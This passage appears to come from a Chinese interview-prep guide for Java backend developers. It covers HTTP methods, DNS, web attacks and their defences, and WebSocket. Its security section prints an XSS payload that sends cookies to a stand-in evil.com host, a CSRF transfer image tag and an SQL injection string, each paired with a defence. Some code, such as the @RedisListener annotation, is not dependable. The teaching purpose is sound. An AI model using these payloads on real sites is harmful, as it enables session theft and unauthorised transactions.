userService.delete(id);
}
// 全局异常处理,统一返回4xx/5xx
@RestControllerAdvice
public class GlobalExceptionHandler {
@ExceptionHandler(NotFoundException.class)
@ResponseStatus(HttpStatus.NOT_FOUND) // 404
public ErrorResponse handleNotFound(NotFoundException e) {
return new ErrorResponse(404, e.getMessage());
}
@ExceptionHandler(UnauthorizedException.class)
@ResponseStatus(HttpStatus.UNAUTHORIZED) // 401
public ErrorResponse handleUnauthorized(UnauthorizedException e) {
return new ErrorResponse(401, e.getMessage());
}
}
💡 301 vs 302 的实际区别:
"SEO很在意这个区别。网站改版URL永久迁移用301,搜索引擎会把旧URL的权重转移到新URL。临时活动页跳转用302,搜索引擎不会转移权重,旧URL还有效。我们项目里的HTTP转HTTPS用301永久重定向,活动页临时跳转用302。"
3.4 GET请求和POST请求有什么区别?
✅ 正确回答思路:
这道题很常见,但很多人只说表面,我给一个有深度的回答:
表面区别(常见回答):
| 对比项 | GET | POST |
|---|---|---|
| 参数位置 | URL(查询字符串) | 请求体(Body) |
| 安全性 | 参数暴露在URL中 | 相对安全(但未加密也能看到) |
| 长度限制 | URL有长度限制(浏览器/服务端限制) | 理论上无限制 |
| 缓存 | 可以缓存 | 不缓存 |
| 幂等性 | 幂等 | 非幂等 |
| 书签 | 可以保存为书签 | 不可以 |
深层区别(面试加分):
1. 语义不同(最重要!)
根据HTTP规范:
- GET:获取资源,不应该改变服务器状态(只读操作)
- POST:提交数据,会改变服务器状态(写操作)
这不是强制规定,但是HTTP设计规范,遵守这个规范才是RESTful的。
✅ 规范的RESTful接口:
GET /users/1 获取用户
POST /users 创建用户
PUT /users/1 更新用户
DELETE /users/1 删除用户
2. GET是幂等的,POST不一定
- 幂等:多次执行同一操作,结果相同
GET /users/1执行多少次都是查询用户1的信息,结果一样(幂等)POST /users执行两次会创建两个用户(非幂等)
这一点对分布式系统的重试机制非常重要!出错了,GET可以安全重试,POST不能随便重试(可能创建重复数据)。
3. GET请求的body问题
HTTP规范并没有禁止GET请求带body,但:
- 大多数服务器和框架忽略GET请求的body
- Elasticsearch的查询API是个例外,用GET请求带JSON body做复杂查询
- 实际开发中不推荐GET带body,语义混乱
4. "GET比POST安全"是误解!
GET参数在URL里,HTTPS下URL也是加密的,实际传输中两者都安全。POST看起来更安全是因为参数不在URL里,不会被记录在浏览器历史记录和服务器日志里,但如果是HTTP(非HTTPS),GET和POST的数据都是明文,都不安全。
5. GET请求会产生两个TCP数据包?
这是个流传很广的说法:GET请求会先发Header,等服务端回100 Continue,再发Body(如果有);POST请求也可能这样。实际上这取决于HTTP客户端的实现,现代浏览器并不这样做,不同客户端行为不一样,不能一概而论。
实际RESTful API设计:
java
@RestController
@RequestMapping("/api/users")
public class UserController {
// GET: 查询,幂等,可缓存
@GetMapping("/{id}")
public User getUser(@PathVariable Long id) {
return userService.getById(id);
}
// POST: 创建,非幂等
@PostMapping
public User createUser(@RequestBody UserDTO dto) {
return userService.create(dto);
}
// PUT: 全量更新,幂等
@PutMapping("/{id}")
public User updateUser(@PathVariable Long id, @RequestBody UserDTO dto) {
return userService.update(id, dto);
}
// PATCH: 部分更新,非幂等
@PatchMapping("/{id}")
public User patchUser(@PathVariable Long id, @RequestBody Map<String, Object> updates) {
return userService.patch(id, updates);
}
// DELETE: 删除,幂等(删除不存在的资源,结果相同)
@DeleteMapping("/{id}")
@ResponseStatus(HttpStatus.NO_CONTENT)
public void deleteUser(@PathVariable Long id) {
userService.delete(id);
}
}
📌 四、DNS篇
4.1 DNS是什么?DNS的解析流程是什么?
✅ 正确回答思路:
DNS(Domain Name System)是互联网的"电话簿",负责把域名翻译成IP地址。
为什么需要DNS?
我们记网址用域名(www.baidu.com),但网络通信实际上用IP地址(110.242.68.66)。DNS负责这个翻译工作。
一、DNS解析的完整流程(面试必答):
当你在浏览器输入 www.baidu.com 时:
浏览器
↓ 1. 检查浏览器DNS缓存
↓ 没有命中
本地hosts文件
↓ 2. 检查操作系统hosts文件(/etc/hosts 或 C:\Windows\System32\drivers\etc\hosts)
↓ 没有命中
本地DNS解析器(操作系统缓存)
↓ 3. 检查操作系统DNS缓存
↓ 没有命中
本地DNS服务器(LDNS,运营商的DNS)
↓ 4. 发送查询到本地DNS服务器(通常是路由器或运营商DNS,如8.8.8.8、114.114.114.114)
↓ 没有缓存
根DNS服务器(Root Server)
↓ 5. 本地DNS向根服务器查询
↓ 根服务器回复:".com"的顶级域服务器地址
顶级域DNS服务器(TLD Server)
↓ 6. 本地DNS向.com顶级域服务器查询
↓ 回复:"baidu.com"的权威DNS服务器地址
权威DNS服务器(Authoritative Server)
↓ 7. 本地DNS向baidu.com的权威DNS服务器查询
↓ 回复:"www.baidu.com" = "110.242.68.66"
本地DNS服务器
↓ 8. 把结果缓存(TTL时间内)并返回给客户端
浏览器
↓ 9. 缓存结果,用IP地址建立TCP连接
两种查询方式:
- 递归查询:本地DNS服务器帮你查到底,你只管问它要最终答案
- 迭代查询:本地DNS每次问,得到的是"下一步去哪里问"的提示,自己一步步查
实际上:客户端→本地DNS是递归查询,本地DNS→根服务器/TLD/权威DNS是迭代查询。
二、DNS用的是什么协议?
大部分时候用UDP(端口53),因为DNS查询一问一答,数据量小,用TCP太重了。
但当响应数据超过512字节时,会改用TCP(端口53) (比如DNS区域传输)。虽然经典标准是 512 字节,但现在广泛使用的 EDNS (Extension Mechanisms for DNS) 允许 UDP 传输超过 512 字节的数据包(通常可达 4096 字节)。只有当数据依然过大或为了防止 IP 分片被防火墙拦截时,才会切换到 TCP。
三、DNS缓存的作用:
每条DNS记录都有TTL(Time To Live),在TTL期间不需要重复查询,直接用缓存。
TTL设置技巧:
- 网站稳定,IP不常变:TTL可以设长(比如86400秒=1天)
- 即将迁移服务器:提前把TTL调短(比如300秒),迁移完再调长
四、DNS劫持和DNS污染:
DNS劫持:有人篡改了你的DNS查询,让你访问假网站(钓鱼网站)。
防护方式:
- 用可信的公共DNS(8.8.8.8/1.1.1.1)
- 用HTTPS(即使DNS被劫持了,浏览器会验证证书)
- 用DoH(DNS over HTTPS),把DNS查询也加密
五、Java中的DNS缓存:
java
// Java有自己的DNS缓存,默认缓存30秒
// 可以通过JVM参数修改:
// -Dsun.net.inetaddr.ttl=60 修改正向缓存时间
// -Dsun.net.inetaddr.negative.ttl=10 修改负向缓存时间(查询失败的缓存)
// 或者代码中强制刷新
InetAddress.getByName("www.baidu.com"); // 查询并缓存
// 注意:Kubernetes里Pod IP会变,Java的DNS缓存可能导致访问旧IP
// 需要配置较短的TTL或者禁用Java DNS缓存
📌 五、网络安全篇
5.1 常见的网络攻击方式有哪些?如何防御?(Java后端视角)
✅ 正确回答思路:
一、XSS(Cross-Site Scripting,跨站脚本攻击)
攻击原理:攻击者在网页中注入恶意JavaScript脚本,当其他用户访问这个网页时,浏览器执行了恶意脚本。
举例:
javascript
// 攻击者在评论里写:
<script>document.location='http://evil.com?cookie='+document.cookie</script>
// 如果网站没有过滤,这段脚本会被存入数据库,其他用户看这条评论时
// 浏览器执行脚本,把Cookie发给攻击者网站
// 攻击者就拿到了用户的Cookie,可以伪造登录!
分类:
- 存储型XSS:恶意脚本存在数据库里(最危险)
- 反射型XSS:恶意脚本在URL里,用户点击恶意链接触发
- DOM型XSS:纯前端,修改DOM触发
Java后端防御:
java
// 1. 对用户输入进行HTML转义(把<变成<)
String safeInput = org.springframework.web.util.HtmlUtils.htmlEscape(userInput);
// 2. 使用Spring Security的XSS过滤
// Spring Security默认在响应头加了:
// X-XSS-Protection: 1; mode=block
// 3. 设置Content-Security-Policy(CSP)响应头
response.setHeader("Content-Security-Policy",
"default-src 'self'; script-src 'self'");
二、CSRF(Cross-Site Request Forgery,跨站请求伪造)
攻击原理:用户登录了银行网站(有有效Cookie),然后访问了恶意网站,恶意网站里有一段代码向银行网站发请求,银行网站以为是用户发的(带着Cookie),就执行了操作。
补充细节 :"如果你的 JWT 是存储在 localStorage 中并通过 HTTP Header (Authorization: Bearer ...) 发送的,那么天然免疫 CSRF 攻击 ,因为浏览器不会自动在跨站请求中带上 Header。CSRF 主要针对的是存储在 Cookie 且浏览器自动携带的场景。"
原因:很多初级开发者会误以为用了 JWT 就得防 CSRF,或者用了 Cookie 就一定要关 CSRF,这里理清逻辑非常加分。
html
<!-- 恶意网站里的代码 -->
<img src="http://bank.com/transfer?to=hacker&amount=10000">
<!-- 用户浏览器会自动带着bank.com的Cookie发这个请求! -->
Java后端防御:
java
// 1. Spring Security的CSRF保护(默认开启)
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
// 或者禁用CSRF(前后端分离用JWT时可以禁用,因为JWT不在Cookie里)
// .csrf().disable()
}
}
// 2. 验证Referer或Origin头
// 3. 使用Token(CSRF Token或JWT),不依赖Cookie传认证信息
三、SQL注入
攻击原理:用户输入包含SQL语句,被拼接到查询中执行。
java
// ❌ 危险:字符串拼接SQL
String username = "admin' OR '1'='1";
String sql = "SELECT * FROM user WHERE username = '" + username + "'";
// 拼出来的SQL: SELECT * FROM user WHERE username = 'admin' OR '1'='1'
// OR '1'='1' 永远为真,会查出所有用户!
// ✅ 安全:用PreparedStatement(预编译+参数绑定)
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM user WHERE username = ?"
);
stmt.setString(1, username); // 参数会被转义,不会当SQL执行
MyBatis中:
xml
<!-- ❌ 使用${}(字符串替换,有SQL注入风险) -->
SELECT * FROM user WHERE username = '${username}'
<!-- ✅ 使用#{}(预编译参数,安全) -->
SELECT * FROM user WHERE username = #{username}
四、DDoS攻击(Distributed Denial of Service)
大量机器同时向服务器发请求,耗尽服务器资源,导致正常用户无法访问。
Java后端防御:
java
// 1. 限流(Spring Boot + Redis实现)
@RestController
public class ApiController {
@Autowired
private RateLimiter rateLimiter; // Google Guava RateLimiter
@GetMapping("/api/data")
public String getData() {
if (!rateLimiter.tryAcquire()) {
throw new TooManyRequestsException("请求太频繁");
}
return "data";
}
}
// 2. 用Sentinel做限流熔断
@SentinelResource(value = "getData", blockHandler = "handleBlock")
@GetMapping("/api/data")
public String getData() {
return "data";
}
// 3. Nginx限流
// limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
// limit_req zone=api burst=20 nodelay;
五、中间人攻击(MITM)
攻击者插入通信双方之间,截获并可能修改通信内容。
防御:用HTTPS(TLS证书验证),确保连接的是真实服务器。
📌 六、长连接与WebSocket篇
6.1 什么是WebSocket?和HTTP有什么区别?使用场景是什么?
✅ 正确回答思路:
一、为什么需要WebSocket?
HTTP的局限 :HTTP是请求-响应模型,客户端主动发请求,服务端才能响应。服务端无法主动推消息给客户端。
需要服务端主动推消息的场景:
- 即时聊天(微信网页版)
- 实时股票行情
- 在线游戏
- 协同文档编辑(多人同时编辑)
传统HTTP的解决方案(都很糟糕):
① 短轮询:客户端每隔1秒发一次HTTP请求问"有新消息吗?"
问题:99%的请求都是空的,浪费资源
② 长轮询:客户端发请求,服务端收到请求后如果没消息,挂起等待,
有消息了再响应,客户端收到后立刻再发下一个请求
问题:还是要不断发新请求,连接频繁建立
③ SSE(Server-Sent Events):服务端主动推,但只支持单向(服务端→客户端)
二、WebSocket是什么?
WebSocket是一种在单个TCP连接上进行全双工通信的协议(RFC 6455)。
特点:
- 建立连接后,客户端和服务端都可以主动发消息(全双工)
- 低延迟:不需要每次通信都建立新连接
- 轻量头部:数据帧只有2-10字节的头部,远小于HTTP头
- 持久连接:连接建立后一直保持,直到一方主动关闭
三、WebSocket的握手流程:
WebSocket基于HTTP协议升级:
http
// 客户端发HTTP请求,要求升级协议
GET /chat HTTP/1.1
Host: www.example.com
Upgrade: websocket ← 要升级到WebSocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
// 服务端同意升级
HTTP/1.1 101 Switching Protocols ← 101状态码
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
// 升级完成!后续不再是HTTP,而是WebSocket帧
四、Java中使用WebSocket(Spring Boot):
java
// 服务端:Spring Boot WebSocket
@Configuration
@EnableWebSocketMessageBroker
public class WebSocketConfig implements WebSocketMessageBrokerConfigurer {
@Override
public void registerStompEndpoints(StompEndpointRegistry registry) {
// WebSocket端点
registry.addEndpoint("/ws")
.setAllowedOriginPatterns("*")
.withSockJS(); // 降级支持
}
@Override
public void configureMessageBroker(MessageBrokerRegistry registry) {
registry.enableSimpleBroker("/topic", "/queue");
registry.setApplicationDestinationPrefixes("/app");
}
}
@Controller
public class ChatController {
@Autowired
private SimpMessagingTemplate messagingTemplate;
// 处理客户端发来的消息
@MessageMapping("/chat.send")
@SendTo("/topic/messages")
public ChatMessage sendMessage(ChatMessage message) {
return message; // 广播给所有订阅了/topic/messages的客户端
}
// 服务端主动推消息
public void pushMessage(String userId, String message) {
messagingTemplate.convertAndSendToUser(userId, "/queue/notifications", message);
}
}
// 前端:连接WebSocket
const socket = new SockJS('/ws');
const stompClient = Stomp.over(socket);
stompClient.connect({}, function(frame) {
// 订阅消息
stompClient.subscribe('/topic/messages', function(msg) {
console.log('收到消息:', msg.body);
});
// 发送消息
stompClient.send('/app/chat.send', {}, JSON.stringify({content: 'Hello!'}));
});
五、HTTP vs WebSocket 对比:
| 对比项 | HTTP | WebSocket |
|---|---|---|
| 通信方式 | 请求-响应(单向) | 全双工(双向) |
| 连接 | 短连接或长连接复用 | 持久连接 |
| 头部开销 | 大(几百字节) | 小(2-10字节) |
| 服务端推送 | 不支持(需要轮询) | 支持 |
| 适用场景 | 普通API、文件传输 | 实时通信、游戏、推送 |
六、实际项目经验:
我们的在线客服系统用了WebSocket + Spring Boot + Redis(消息广播):
java
// 用Redis Pub/Sub实现多节点间的消息广播
@Service
public class MessageService {
@Autowired
private SimpMessagingTemplate messagingTemplate;
@Autowired
private RedisTemplate redisTemplate;
// 发送消息时,发布到Redis
public void sendMessage(String roomId, ChatMessage message) {
redisTemplate.convertAndSend("chat:room:" + roomId, message);
}
// 订阅Redis消息,广播给WebSocket客户端
@RedisListener(channels = "chat:room:*")
public void handleMessage(ChatMessage message, String channel) {
String roomId = channel.replace("chat:room:", "");
messagingTemplate.convertAndSend("/topic/room/" + roomId, message);
}
}
💡 记忆要点:
- WebSocket解决的是"服务端主动推消息"的问题
- HTTP升级为WebSocket只需一次握手(101状态码)
- 全双工、持久连接、低头部开销是三大优势
📌 七、面试回答技巧总结
计算机网络面试的黄金法则
法则1:先总后分,一句话定论
- 比如问TCP和UDP区别:先说"TCP面向连接、可靠,UDP无连接、不可靠",再详细展开
- 不要一开始就陷入细节,让面试官等你绕一大圈才知道你答的什么
法则2:结合Java后端实际项目
- HTTP/HTTPS:讲SpringBoot的SSL配置
- TCP:讲Netty的粘包拆包
- DNS:讲K8s里的DNS缓存问题
- WebSocket:讲Spring WebSocket的实现
- 这样面试官会觉得你不是纯背理论,是真的用过
法则3:用生活类比降低理解难度
- 三次握手 = 打电话确认对方能听到
- 四次挥手 = 分手,双方都要说"再见"
- DNS = 电话簿,域名→IP就是名字→电话号码
法则4:主动引导追问方向 答完核心问题后,可以说"另外还有一个相关的问题我顺便说一下...",主动展示知识广度,引导面试官往你熟悉的方向问
法则5:不会的不要乱说
- 计网的知识点很细,有些深层原理不知道很正常
- 可以说"这个细节我没深入研究过,但我理解的大致原理是..."
- 比乱说被追问穿帮要好得多
📌 总结:高频考点速查表
| 考点 | 关键回答点 | 高频追问 |
|---|---|---|
| OSI/TCP-IP | 七层vs四层,OSI是理论,TCP/IP是实践 | HTTP在哪层? |
| TCP vs UDP | 连接性、可靠性、速度、场景 | QUIC是什么? |
| 三次握手 | 防止历史连接初始化,同步序号 | 为什么不是两次? |
| 四次挥手 | ACK和FIN不同步,TIME_WAIT 2MSL | TIME_WAIT大量怎么办? |
| TCP可靠传输 | 序号+确认+重传+流量控制+拥塞控制 | 拥塞控制算法? |
| 粘包拆包 | 字节流无边界,长度头方案 | Netty怎么处理? |
| HTTP版本 | 1.1长连接→2多路复用→3基于QUIC | 队头阻塞怎么解决? |
| HTTPS握手 | 非对称交换密钥+对称加密数据 | TLS 1.3改进了什么? |
| DNS | 递归+迭代查询,8步解析流程 | DNS用TCP还是UDP? |
| WebSocket | HTTP升级,全双工,101状态码 | 和长轮询的区别? |
| 常见攻击 | XSS/CSRF/SQL注入/DDoS | Java后端如何防御? |
如果这篇文章帮到了你,收藏起来,面试前一定要反复看!祝你拿到心仪的offer!💪